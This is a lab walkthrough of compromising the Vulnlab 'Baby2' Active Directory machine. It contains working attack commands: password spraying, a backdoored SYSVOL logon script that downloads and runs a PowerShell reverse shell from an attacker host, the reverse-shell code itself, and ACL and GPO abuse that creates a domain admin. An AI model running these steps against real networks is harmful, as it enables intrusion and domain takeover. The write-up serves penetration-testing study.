Baby2 - Vulnlab
This machine was really interesting to get into, as I learned how to practically implement backdoors onto a compromised host as well as GPO abuses and general vulnerability testing in domain accounts. Props to xct for creating this machine.
Enumeration
Let’s start with a general NMAP scan of the machine.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-17 21:04 EDT |
I also did a bit of more in-depth scans into the different ports with -A
and found the DNS name for the machine denoted as dc.baby2.vl
.
This box seems to have similar ports to the original Baby
machine, which was an Easy machine that I’ve done before. Since there isn’t a webserver, let’s see if there’s anything we can find initially with SMB.smbclient -L 10.10.102.12 -N
This will enumerate all of the SMB shares if we can see them by authenticating with null credentials.
Sharename Type Comment |
You’ll see that there are around three shares that are not usually on here - being apps
, docs
, and homes
. This is inherently already a vulnerability, as I should not be allowed to view these shares by default with null credentials. Let’s take a look into the homes
directory to start, as the way it sounds this could be the home directories of a few users.smbclient \\\\10.10.102.12\\homes -N
In the directory that we land in, you’ll find a list of users and (what we can assume) are their home directories. This is great because we already now have a wordlist to test around with LDAP.
smb: \> ls |
I made a one-liner that should take all of these usernames from the SMB session and convert it into a list of usernames.smbclient -c 'ls' \\\\10.10.102.12\\homes -N | awk '{print $1}' | grep [A-Za-z] > ul.txt
With our list of usernames, let’s test to see if any of these users are vulnerable to Kerberoasting or ASREPRoasting. We’ll try and use the Guest
user with no credentials since we don’t currently have any valid passwords.impacket-GetNPUsers -dc-ip 10.10.102.12 -dc-host dc.baby.vl -usersfile ul.txt -request -no-pass BABY2/'Guest'
impacket-GetUserSPNs -dc-ip 10.10.102.12 -dc-host dc.baby.vl -usersfile ul.txt BABY2/'Guest' -no-pass
Unfortunately, neither seem to produce any valid results.
Credential Reusage
Another test that I learned how to do in one of the previous HTB machines that I practiced against is testing for username/password reusage - which is essentially just seeing if users are using their username as their password. This is generally the case when testing OT infrastructure, however let’s give it a try here.
We can use crackmapexec for the feature along with the user list that we already have. I also added another one-liner for ease-of-use.for user in $(cat ul.txt); do crackmapexec smb 10.10.102.12 -u $user -p $(echo $user | tr '[:upper:]' '[:lower:]'); done
The format that the above command references will return any valid credentials with credential reusage, ex: ‘Amelia.Griffiths:amelia.griffiths’.
SMB 10.10.102.12 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False) |
This confirms that the library
user is using the same string for both their username and password.
Now that we have credentials, let’s see if we can access any of the other SMB shares such as docs
or apps
. We’ll try apps
first just to be sure.
smbclient \\\\10.10.102.12\\apps -U 'library'
There seems to be a folder in this share denoted as dev
, we’ll access it with cd dev
smb: \dev\> ls |
Let’s grab both of these with mget *
to see what they have. I’m not as interested in the CHANGELOG, more so in the VBS shortcut.
Logon Script Exploitation
Upon opening the login.vbs.lnk
shortcut on our local machine, we can see that most of the file is encrypted, however there are some valid strings that point us to another share.\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs
We also find the SID of the domain S-1-5-21-213243958-1766259620-4276976267
Let’s access the file and see if there’s anything we can find.smbclient \\\\10.10.102.12\\SYSVOL -U 'library'
The login.vbs
file is within \baby2.vl\scripts\
.
Sub MapNetworkShare(sharePath, driveLetter) |
This script looks to be mapping the network drives within the SMB instance, at least from first glance. You can see at the end that the SMB shares apps
and docs
are being mapped to V
and L
respectively. If this script is a login script that is ran when a user logs in, then we can potentially alter this to give us a reverse shell on the users machine once they log in.
However what we know now is not enough to justify this, so let’s check to see if bloodhound supports our thought process. I’ll link the same bloodhound materials that I normally use for domain object enumeration.
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux
https://github.com/dirkjanm/BloodHound.py
We’ll run the python ingestor to dump the LDAP instance and all of its domain objects to a compressed zip archive.python3 BloodHound.py/bloodhound.py -d 'baby2.vl' -u 'library' -p 'library' -c all -ns 10.10.102.12 --zip
Once we receive the archive, we can upload it to Bloodhound using the Upload Data
function.
Let’s look at our library
user node to see if there are any login scripts that might correspond with the same login.vbs
file that we saw prior.
There doesn’t seem to be anything noteworthy here, however let’s check to see if any other users from our user list have any login scripts present - we’ll start with Amelia.Griffiths
.
We can see here that this user does have a login script enabled, which points to the same login.vbs
file within the SYSVOL
share that we saw earlier. Now that we have this information, the attack path is relatively clear. All that we need to do is modify this file to include a reverse shell and wait for any users to login (that have the same properties as Amelia Griffiths, or Amelia Griffiths themself).
In a red-team environment, we would just need to wait for the user log-in. This would just require some patience and could take a day or two, whenever the user next attempts to access their workstation. However since we’re in a lab, I’m assuming that there’s a scheduled task or automated login that logs a user in after a short period of time.
So let’s modify the script. I’ve included to resources below, a simple PowerShell reverse shell within a text file and a line of text that will trigger this reverse shell within login.vbs
CreateObject("WScript.Shell").Run "powershell -ep bypass -w hidden IEX (New-Object System.Net.Webclient).DownloadString('http://10.8.0.173:9001/revshell.txt')" |
You can add this anywhere in the login.vbs
script, I just opted to do it before the SMB shares are mapped at the bottom of the file.
Next, we’ll make sure that the PowerShell reverse shell that I’ve generated is within the same directory that we’ll be hosting, remember that it’s name is revshell.txt
and the LPORT for it is 9002
, which will point to a netcat listener.
$LHOST = "10.8.0.173"; $LPORT = 9002; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = [...snip...]$StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close() |
You can generate a similar one from revshells.com, that’s essentially all you’ll need.
So now all that’s left to do is to delete the existing login.vbs
script is SYSVOL
and add our modified script to it.
We’ll also stand up two listeners, one being a Python HTTP server and another being a netcat listener.python3 -m http.server 9001
nc -lvnp 9002
smbclient -c 'cd \baby2.vl\scripts\; rm login.vbs; put login.vbs' \\\\10.10.102.12\\SYSVOL -U 'library'
After about a minute or two of waiting, we can see that our file was grabbed by the remote machine from our webserver.10.10.102.12 - - [21/May/2024 14:16:02] "GET /revshell.txt HTTP/1.1" 200 -
And we can also see that our reverse shell was executed, and we now have a shell as amelia.griffiths
.
Host Reconnaissance
The user flag was not in it’s ordinary location, which usually is C:\Users\(user)\Desktop\user.txt
, however I found that it was just within the root C:\
drive denoted as C:\users.txt
. This means we have conquered the first half of the machine!
From here I decided to stand up a Sliver server and ran an implant so I could get an easier shell, since the shell that we landed with is very barebones. I’ve done this before in a few of my other writeups - essentially all I’m doing is starting a listener, generate an implant, and running the implant on the remote machine to receive a session. You can find all the documentation needed to do the above steps here.
So from here we’ll need to move around the domain using our permissions. I couldn’t find specifically anything that Amelia.Griffiths
could do from Bloodhound, nor did their permissions seem to be out of the ordinary.
However you’ll notice that if you run whoami /all
with our user, you’ll find that they are a part of two groups that are not regularly enabled by default.
BABY2\office Group S-1-5-21-213243958-1766259620-4276976267-1104 Mandatory group, Enabled by default, Enabled group |
We can look at both the groups in Bloodhound to see if they have any abnormally configured outbound object controls. The office group didn’t seem to have anything out of the ordinary, however the focal point for our attack path seems to rely on two of the outbound object controls that the legacy
group has.
GPO Object Control
It seems that Amelia.Griffiths
(who is within the legacy
group) has WriteOwner
on both the GPO-Management OU and the gpoadm
user. To give context on how this works, WriteOwner
essentially allows our user to modify the ownership of the object. If we can change the ownership of this object, then we can make the owner of it ourselves. And from there, our ability to abuse the GPOs can allow us to add a new DA of our choosing.
Furthermore, we can see that the gpoadm
user has GenericAll on two GPOs that we can use to create said DAs.
Not only that, but if we verify who the gpoadm
account belongs to by running the below command, we can see that it is controlled by the Domain Admins group.
PS C:\Users\amelia.griffiths\Desktop> Get-ADUser gpoadm | ForEach-Object {Get-ACL "AD:\$($_.DistinguishedName)" | Select-Object -ExpandProperty Owner} |
So to start, let’s use PowerView
to change the owner of the gpoadm
user to Amelia.Griffiths
using a built-in cmdlet.PS C:\Users\amelia.griffiths\Desktop> Set-DomainObjectOwner -Identity gpoadm -OwnerIdentity Amelia.Griffiths
If we run the above Get-ADUser
command that we ran earlier, we can see that the owner of the gpoadm
account has been changed.
PS C:\Users\amelia.griffiths\Desktop> Get-ADUser gpoadm | ForEach-Object {Get-ACL "AD:\$($_.DistinguishedName)" | Select-Object -ExpandProperty Owner} |
Afterwards, we can then add a new ruleset, or ACL, to the gpoadm
user to give ourselves GenericAll on the account.PS C:\Users\amelia.griffiths\Desktop> Add-DomainObjectACL -PrincipalIdentity Amelia.Griffiths -TargetIdentity gpoadm -Rights All
This in theory should now allow for us to do a multitude of different attacks, most notably changing the users password. While I normally wouldn’t do this in a red-team environment, this should be alright since we’re in a lab.
That being said, if you do want a little pointer on what you could do that could help keep a low-profile, make sure to check out xct’s writeup on this machine here (timestamp is 9:08). He utilizes Whisker and Rubeus to create a TGT that essentially acts like a backdoor, allowing you to create shadow credentials that you can use to always be able to log into the box. This can continue to work even if the user changes their password and does NOT change the user’s password.
Not only that, you can also use the dumped hash that Rubeus will provide in PTH (Pass-the-Hash).
We could reupload a new Bloodhound dump, but I already know that we have GenericAll on this user. We’d normally be able to use bloodyAD
to change the user’s passwords, but that requires us to have valid credentials to Amelia.Griffiths
, which we don’t have.
Luckily enough there is a Window alternative that we can do within our shell as Amelia.Griffiths
.
PS C:\Users\amelia.griffiths\Desktop> $newcred = ConvertTo-SecureString 'Password123!' -AsPlainText -Force |
There was no error output, thus we can confirm that the user password for gpoadm
has been successfully changed. We can verify this in crackmapexec, but to prevent clutter on the writeup I’ll just show a quick screenshot of it.
GPO Abuse as gpoadm
Now, we should be able to abuse either of the two GPOs that gpoadm
has control over. We can verify these two GPOs that we saw in our Bloodhound output by running the Get-GPO
cmdlet in PowerView
.PS C:\Users\amelia.griffiths\Desktop> Get-GPO -all
This should return both GPOs that we saw previously, the Default Domain Policy
and the Default Domain Controllers Policy
.
It doesn’t really matter which one we try to abuse, so I’ll use the Default Domain Controllers Policy
.
We can use pyGPOAbuse
to essentially automate the exploitation of this GPO. What this tool will do is modify the GPO to create a scheduled task and execute a respective command that will give us a DA to authenticate as. https://github.com/Hackndo/pyGPOAbuse
By default, pyGPOAbuse
will create a user under the context of john:H4x00r123..
, we can also opt to specify a command to be more silent however this is all we’ll probably need for this lab.python3 pyGPOAbuse/pygpoabuse.py -dc-ip 10.10.104.215 -gpo-id "6ac1786c-016f-11d2-945f-00c04fb984f9" baby2.vl/gpoadm:'Password123!'
This should create the scheduled task, which will potentially take a while to run.
We can circumvent this by forcing the GPO service to restart by running gpupdate /force
.
Now we can test our credentials that the GPO abuse created for us, being john:H4x00r123..
crackmapexec winrm 10.10.104.215 -u 'john' -p 'H4x00r123..'
Thus, if we log into the WinRM service using evil-winrm
, we should be able to authenticate properly.evil-winrm -i 10.10.104.215 -u 'john' -p 'H4x00r123..'
We can now see that we DA privileges since we have all of the permissions listed within whoami /priv
.
This allows us to read the contents of the Administrator directory and read the root flag, meaning we have completed this machine!
The root flag is within C:\Users\Administrator\Desktop\root.txt
.
Conclusion
I plan on also making a research post about GPO abuse and getting into the nitty gritties of how to exploit it manually rather than doing it through pyGPOAbuse
, which from what I’m expecting will probably be through RPCClient
. Though I could be wrong. Nonetheless again, big thanks to xct for creating this machine - it definitely helped with a lot of practice and hopefully this writeup did the same for any readers.
Resources
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux
https://github.com/dirkjanm/BloodHound.py
https://www.revshells.com/
https://github.com/BishopFox/sliver
https://www.youtube.com/watch?v=a97PMfOXitY&t=788s&ab_channel=vulnlab
https://github.com/Hackndo/pyGPOAbuse